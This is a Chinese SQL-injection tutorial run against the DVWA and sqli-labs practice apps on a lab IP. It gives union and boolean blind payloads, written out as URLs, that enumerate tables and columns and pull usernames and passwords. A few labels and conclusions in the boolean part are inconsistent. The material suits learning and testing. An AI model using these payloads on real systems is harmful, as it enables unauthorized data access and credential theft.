union(联合)注入和布尔注入

简介: union(联合)注入和布尔注入

一、union联合注入

1、select 1,2,3会生成一张临时表,表中的字段为查询的字段,内容也是查询的字段

0a2653c851af460fa595bd959398a8f1.png

2、select 1,2,3 union select 3,2,1,同样生成一张临时表,表中的字段为union左边查询的字段,内容为union左右两边查询的字段!

0eacb84100b54626af849e6b562bf92a.png

3、如果不想显示左边的查询数据,只要左边的查询结果为假,就不会显示数据,比如:and 1=2或user_id=-1,这样只显示右边的查询数据!

联合查询,需要保证两表的列数相同和列的数据类型相同

4、判断列数:由于输入order by 3报错

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 2 --

2d65d23f6d4748949b924e4057485923.png

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 3 --

2e9b90b2ca334476abebe75bafe6eeaa.png

5、判断显示位:显示位是1和2,可以用MySQL语句来代替获取信息!

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,2' -- &Submit=Submit#

0a2653c851af460fa595bd959398a8f1.png

6、获取数据库名称和版本信息

version():获取数据库版本号

database():获取数据库名称

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select database(),version()' -- &Submit=Submit#

0eacb84100b54626af849e6b562bf92a.png

7、获取数据库中表的名字

获取第二个表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1) -- &Submit=Submit#

2d65d23f6d4748949b924e4057485923.png

8、获取所有的表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &Submit=Submit#

2e9b90b2ca334476abebe75bafe6eeaa.png

limit 0,1:第一个表名,guestbook

limit 1,1:第二个表名,users

......

limit n,1:第n个表名,......

group_concat():连接所有表名

9、获取user表中的字段名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'  -- &Submit=Submit#

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1) -- &Submit=Submit#

0a2653c851af460fa595bd959398a8f1.png

10、获取字段的内容

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select password,user from users limit 2,1 -- &Submit=Submit#

0eacb84100b54626af849e6b562bf92a.png

二、布尔注入

1、判断是否存在注入,输入’,报错说明存在注入

http://192.168.77.128/sqli/Less-8/?id=1

2d65d23f6d4748949b924e4057485923.png

http://192.168.77.128/sqli/Less-8/?id=1' 报错,说明存在注入

2e9b90b2ca334476abebe75bafe6eeaa.png

2、判断字符注入还是数字注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23

都没有报错,说明是字符型

3、判断是否是存在布尔注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23

报错,说明存在布尔注入

4、id=1能正常显示信息,加入and语句后,只有同时满足条件才能正常显示,根据这个逻辑去确定最终的数据库长度

5、判断数据库名的长度

length():计算字符串长度

http://192.168.77.128/sqli/Less-8/?id=1' and length(database())=8%23 返回正常,说明该数据库名的长度为8

6、获取数据库名的每个字母

substr(database(),1,1):字符串的第1个字符,第一个1,起始位置,不是0开始,而是1开始;最后一个1,取字符的个数,1代表取1个字符

substr(database(),2,1):字符串的第2个字符

ascii():字符转换为对应的ASCII码值

ord() == ascii()

left:从左边开始取字符

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 %23 115代表字符s

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 %23 101代表字符e

http://192.168.77.128/sqli/Less-8/?id=1' and left(database(),2)='se' %23

最后确定数据的名字为security

7、获取表的名字

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23

获取第一个表的第一个字符e

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23

获取第一个表的第二个字符m

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 %23

获取第二个表的第一个字符r

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 %23

获取第二个表的第二个字符e

8、获取user表的字段

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^use' limit 0,1) %23 是否存在use开头的列

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 是否存在username开头的列

同样可以判断出password的列名

9、获取字段的内容

cast(username as char)将username转换成char类型,注意这里是cast函数(语法:cast(字段名 as 转换的类型 ))

ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。

0x20是空格的ascii码的十六进制表示。

mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。

ord()函数同ascii(),将字符转为ascii值。

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 %23  

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),2,1))=117 %23

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65 %23

获取username字段的第二个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),2,1))=110 %23  

获取username字段的第二个数据的第二个字符

Angelina

禁止非法,后果自负

目录
相关文章
|
安全 NoSQL API
【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
2910 1
|
SQL Web App开发 安全
Discuz历史漏洞分析(一)
Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
Discuz历史漏洞分析(一)
|
存储 中间件 API
fastadmin框架token验证
fastadmin框架token验证
647 0
|
3天前
|
存储 弹性计算 人工智能
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
2025年9月24日,阿里云弹性计算团队多位产品、技术专家及服务器团队技术专家共同在【2025云栖大会】现场带来了《通用计算产品发布与行业实践》的专场论坛,本论坛聚焦弹性计算多款通用算力产品发布。同时,ECS云服务器安全能力、资源售卖模式、计算AI助手等用户体验关键环节也宣布升级,让用云更简单、更智能。海尔三翼鸟云服务负责人刘建锋先生作为特邀嘉宾,莅临现场分享了关于阿里云ECS g9i推动AIoT平台的场景落地实践。
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
|
2天前
|
云安全 人工智能 自然语言处理
阿里云x硅基流动:AI安全护栏助力构建可信模型生态
阿里云AI安全护栏:大模型的“智能过滤系统”。
|
2天前
|
人工智能 自然语言处理 自动驾驶
关于举办首届全国大学生“启真问智”人工智能模型&智能体大赛决赛的通知
关于举办首届全国大学生“启真问智”人工智能模型&智能体大赛决赛的通知
|
5天前
|
存储 机器学习/深度学习 人工智能
大模型微调技术:LoRA原理与实践
本文深入解析大语言模型微调中的关键技术——低秩自适应(LoRA)。通过分析全参数微调的计算瓶颈,详细阐述LoRA的数学原理、实现机制和优势特点。文章包含完整的PyTorch实现代码、性能对比实验以及实际应用场景,为开发者提供高效微调大模型的实践指南。
573 2
|
3天前
|
Linux 虚拟化 iOS开发
VMware Workstation Pro 25H2 for Windows & Linux - 领先的免费桌面虚拟化软件
VMware Workstation Pro 25H2 for Windows & Linux - 领先的免费桌面虚拟化软件
862 4
VMware Workstation Pro 25H2 for Windows & Linux - 领先的免费桌面虚拟化软件
kde
|
5天前
|
人工智能 关系型数据库 PostgreSQL
n8n Docker 部署手册
n8n是一款开源工作流自动化平台,支持低代码与可编程模式,集成400+服务节点,原生支持AI与API连接,可自托管部署,助力团队构建安全高效的自动化流程。
kde
398 3
下一篇
oss教程